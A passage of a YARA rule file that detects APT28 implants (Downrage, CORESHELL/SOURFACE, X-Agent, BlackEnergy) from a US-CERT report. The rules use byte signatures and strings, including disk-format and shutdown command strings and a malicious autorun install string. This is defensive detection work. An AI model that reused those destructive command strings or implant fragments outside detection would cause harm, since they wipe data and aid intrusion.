		$STR1 = {83 3E 00 53 74 4F 8B 46 04 85 C0 74 48 83 C0 02 50 E8 ?? ?? 00
         00 8B D8 59 85 DB 74 38 8B 4E 04 83 F9 FF 7E 21 57 }
		$STR2 = {55 8B EC 8B 45 08 3B 41 08 72 04 32 C0 EB 1B 8B 49 04 8B 04 81
         80 78 19 01 75 0D FF 70 10 FF [5] 85 C0 74 E3 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and any of them
}

rule IMPLANT_1_v3
{
	meta:
		description = "Downrage Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "517133d2-813d-5f44-84c2-a53c62d7a688"

	strings:
		$rol7encode = { 0F B7 C9 C1 C0 07 83 C2 02 33 C1 0F B7 0A 47 66 85 C9 75 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_1_v4
{
	meta:
		description = "Downrage Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "0362b885-de59-5715-80f2-106e5e91d1fa"

	strings:
		$XOR_LOOP = { 8B 45 FC 8D 0C 06 33 D2 6A 0B 8B C6 5B F7 F3 8A 82 ?? ??
         ?? ?? 32 04 0F 46 88 01 3B 75 0C 7C E0 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_1_v5
{
	meta:
		description = "Downrage Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "ac1c6175-3a8b-524b-bb18-243c52f7dba1"

	strings:
		$drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77
         [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 }
		$mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C
         36 7A C7 45 ?? 73 71 33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and any of them
}

rule IMPLANT_1_v7
{
	meta:
		description = "Downrage Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "2a28273f-d9a1-5e80-bef1-b488eb0326bd"

	strings:
		$XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF }

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_2_v1
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "058266d4-8dc5-5a26-9bc6-4c55ac646e9b"

	strings:
		$STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01}

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_2_v3
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "747e4f76-b9c4-5988-90ae-b450548b1b82"

	strings:
		$STR1 = {C1 EB 07 8D ?? 01 32 1C ?? 33 D2 }
		$STR2 = {2B ?? 83 ?? 06 0F 83 ?? 00 00 00 EB 02 33 }
		$STR3 = {89 ?? ?? 89 ?? ?? 89 55 ?? 89 45 ?? 3B ?? 0F 83 ?? 00 00 00 8D
         ?? ?? 8D ?? ?? FE }

	condition:
		( uint16( 0 ) == 0x5A4D ) and any of them
}

rule IMPLANT_2_v5
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "0e787116-d7f5-5a72-9aba-d4e6cb35bc8d"

	strings:
		$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33
         C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00
         00 00 48 8B CC E8}

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_2_v6
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "ffadb02f-6311-567d-900b-c8a9ed172ab4"

	strings:
		$STR1 = { e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F
         ?? [1-2] 00 01 00 00 7F ?? [1-2] 80 00 00 00 7F ?? 83 ?? 40 7F}

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_2_v7
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "839041d9-e27b-52a2-b5d5-f1af595826f4"

	strings:
		$s1 = {10 A0 FA FD 83 3D 28 D4 1F FF 77 5? ?8 B4 50 CC 1E B0 78 D7 90 13
         21 C0 23 3D 28 BC 78 95 DE 4B B0 60 00 00 0F 7F 38 B4 50 C8 D5 9F E0
         25 DF F3 21 C0 28 BC 13 3D 2B 90 60 00 00 0F 7F 18 B4 50 C8 BC F2 21
         C0 28 B4 5E 48 B5 5E 00 8D 41 FE 83 F8 06 8B 45 ?? 72 ?? 8B 4D ?? 8B }
		$s2 = {28 D9 B0 00 00 00 00 FB 65 C0 AF E8 D3 40 28 B4 5? ?0 3C 20 FA FD
         88 D7 A0 18 D4 2F F3 3D 2F 77 5? ?C 1E B0 78 BC 73 21 C0 A3 3D 2B 90
         60 00 00 0F 7F 18 A4 D? ?8 B4 50 C8 0E 90 20 24 D? ?3 20 C0 28 B4 5?
         ?3 3D 2F 77 5? ?8 B4 50 C2 20 C0 28 BD 70 2D 93 01 E8 B4 D0 C8 D4 2F
         E3 B4 5E 88 B4 5? ?8 95 5? ?7 2A 05 F5 E5 B8 BE 55 DC 20 80 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and any of them
}

rule IMPLANT_2_v9
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "41f46b52-4b0e-53ee-a86c-503fe9a9532c"

	strings:
		$STR1 = { 8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89
         45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4
         33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2
         F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6
         8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE
         3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8
         0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33
         C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02
         C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F
         02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01
         FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B
         45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33
         D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45
         E4 30 1C 01 8B 4D 0C }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_2_v10
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "cb88ae0c-19e2-590c-9c13-78ac1dcc8c9f"

	strings:
		$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8]
         48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01}

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_2_v11
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "570d6996-ab16-556e-b790-e4c73d7bbffc"

	strings:
		$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53
         56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68
         [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}

	condition:
		( uint16( 0 ) == 0x5A4D ) and all of them
}

rule IMPLANT_2_v14
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "1e4958e7-e136-5600-bc16-36cdeeb3ea18"

	strings:
		$STR1 = {8B ?? 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA C1 EE 02 89
         74 24 58 44 8B ?? 41 F7 ?? 8B CA BA 03 00 00 00 C1 E9 02 89 0C 24 8D
         04 49 03 C0 44 2B ?? 44 89 ?? 24 04 3B F1 0F 83 ?? 01 00 00 8D 1C 76
         4C 89 6C 24  }
		$STR2 = {C5 41 F7 E0 ?? ?? ?? ?? ?? ?? 8D 0C 52 03 C9 2B C1 8B C8 ?? 8D
         04 ?? 46 0F B6 0C ?? 40 02 C7 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7
         E1 C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA 46 22 0C ?? 41 8D 48
         FE F7 E1 C1 EA 02 8D 04 52 03 C0 2B C8 8B C1 }
		$STR3 = {41 F7 E0 C1 EA 02 41 8B C0 8D 0C 52 03 C9 2B C1 8B C8 42 8D 04
         1B 46 0F B6 0C ?? 40 02 C6 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7 E1
         C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA }
		$STR4 = {46 22 0C ?? 41 8D 48 FE F7 E1 C1 EA 02 8D 04 52 8B 54 24 58 03
         C0 2B C8 8B C1 0F B6 4F FF 42 0F B6 04 ?? 41 0F AF CB C1 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and any of them
}

rule IMPLANT_2_v15
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "9bdaebc1-86a0-5c21-b752-d69cdb70f082"

	strings:
		$XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 }
		$XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 }
		$XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_2_v16
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "2c54a749-c80b-5010-97b6-b74c54fd3d07"

	strings:
		$OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7
         75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06
         00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06
         00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06
         8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and $OBF_FUNCT
}

rule IMPLANT_2_v17
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "dc3a6b08-1ac4-5fa2-a710-657514d45606"

	strings:
		$STR1 = { 24108b44241c894424148b4424246836 }
		$STR2 = { 518d4ddc516a018bd08b4de4e8360400 }
		$STR3 = { e48178061591df75740433f6eb1a8b48 }
		$STR4 = { 33d2f775f88b45d402d903c641321c3a }
		$STR5 = { 006a0056ffd083f8ff74646a008d45f8 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and 2 of them
}

rule IMPLANT_2_v18
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "5376ec57-f405-55cf-a23b-aafb1cb800e5"

	strings:
		$STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF
         8B 5D EC 83 C2 FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F
         B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75 F4 8B 45 0C C1 EB 07 8D 79 01
         32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE
         02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22
         1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45
         F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0 41 83 C6 06 89 4D F0 89 75
         F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B
         F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE
         8D 14 08 8D 04 49 02 D2 03 C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D
         D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00 00 0F B6 5C 0A FE
         8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1
         EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80
         E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B
         D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_2_v19
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "b4efdb3c-d7d6-5141-ad73-90d70582f8bd"

	strings:
		$obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6
         74 B5 52 12 4D FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2
         E3 7B 1E B8 09 3C AF 76 A1 38 56 76 BB A0 63 B6 9E 5D 86 E4 EC B0 DC
         89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19 3E 1F B3 EE
         9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11
         BE 5E 27 94 5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D
         CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4 E1 A9 A4 3B }
		$cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01
         00 01 00 AF BD 26 C9 04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E
         0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA 7A 75 8D 5F 9C 4B 67 32
         45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC
         C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05
         42 68 6A 3E 88 7F 38 97 49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14
         81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B E6 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and any of them
}

rule IMPLANT_2_v20
{
	meta:
		description = "CORESHELL/SOURFACE Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "323ee676-802d-55e6-a97a-48eb3a4e4a5f"

	strings:
		$func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42
         FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1
         8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4
         8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 8B 45
         D8 89 55 F8 72 A0 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_3_v1
{
	meta:
		description = "X-Agent/CHOPSTICK Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "d539bb31-18b2-5cf5-b994-daecd5f8c771"

	strings:
		$STR1 = ">process isn't exist<" ascii wide
		$STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii wide
		$STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" ascii wide
		$STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide
		$STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14
         02 8a 45 ?? 03 fa}

	condition:
		any of them
}

rule IMPLANT_3_v2
{
	meta:
		description = "X-Agent/CHOPSTICK Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "349c65cf-547f-5837-af71-f9721e029b74"

	strings:
		$base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74
         02 FF D0 C7 45 ?? 83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B
         FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8 C7 45 ?? B1 D1 FF FF C7
         45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45
         ?? 33 35}
		$base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE
         72 F1 5F 5E C3 8B FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B
         FF 55 8B EC 83 EC 10 A1 33 35 }

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and any of them
}

rule IMPLANT_3_v3
{
	meta:
		description = "X-Agent/CHOPSTICK Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		modified = "2021-03-15"
		score = 65
		id = "ce82511e-715a-53cb-98e5-5d51b94726d5"

	strings:
		$STR1 = ".?AVAgentKernel@@"
		$STR2 = ".?AVIAgentModule@@"
		$STR3 = "AgentKernel"
		$fp1 = "Panda Security S.L." wide

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and 1 of ( $STR* ) and not 1 of ( $fp* )
}

rule IMPLANT_4_v1
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "be4d222f-009f-5dde-93da-376626a77263"

	strings:
		$STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64
         C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF
         32 C6 45 E0 2EE9 ?? ?? ?? ??}
		$STR2 = {C7 45 EC 5A 00 00 00 C7 45 E0
            46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and 1 of them
}

rule IMPLANT_4_v2
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "2edaeb08-19bc-5ab4-bc75-40c16ba85d9f"

	strings:
		$BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64}
		$BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32}
		$CONSTANT = {26 80 AC C8}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_4_v3_AlternativeRule : HIGHVOL
{
	meta:
		description = "Detects a group of different malware samples"
		comment = "Alternative rule - not based on the original samples but samples on which the original rule matched"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "US CERT Grizzly Steppe Report"
		date = "2017-02-12"
		hash1 = "2244fe9c5d038edcb5406b45361613cf3909c491e47debef35329060b00c985a"
		id = "47e9028b-7718-5372-8a1a-94c208c29ed4"

	strings:
		$op1 = { 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 53 1e 01 00 }
		$op2 = { 21 da 40 00 00 a0 40 00 08 a0 40 00 b0 70 40 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and all of them )
}

rule IMPLANT_4_v4
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "27a5fb98-fe8b-561c-b490-e04257e7dd1c"

	strings:
		$DK_format1 = "/c format %c: /Y /Q" ascii
		$DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii
		$DK_physicaldrive = "PhysicalDrive%d" wide
		$DK_shutdown = "shutdown /r /t %d"

	condition:
		uint16( 0 ) == 0x5A4D and all of ( $DK* )
}

rule IMPLANT_4_v5
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "d203f3c6-4e86-5632-ad5d-61763ee59bbe"

	strings:
		$GEN_HASH = {0F BE C9 C1 C0 07 33 C1}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and all of them
}

rule IMPLANT_4_v7
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "a0dda12a-22b6-53e6-9528-8c178ad871ad"

	strings:
		$sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C}
		$sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C}
		$sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
		$sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C}
		$sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C}
		$sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C}
		$sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
		$sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C}
		$sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C}
		$sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C}

	condition:
		( uint16( 0 ) == 0x5A4D or uint16( 0 ) == 0xCFD0 or uint16( 0 ) == 0xC3D4 or uint32( 0 ) == 0x46445025 or uint32( 1 ) == 0x6674725C ) and 3 of them
}

import "pe"

rule IMPLANT_4_v8
{
	meta:
		description = "BlackEnergy / Voodoo Bear Implant by APT28"
		author = "US CERT"
		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
		date = "2017-02-10"
		score = 85
		id = "1e82d105-8dda-55c9-aec0-8f9f02c3a94e"

	strings:
		$f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4
         33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B
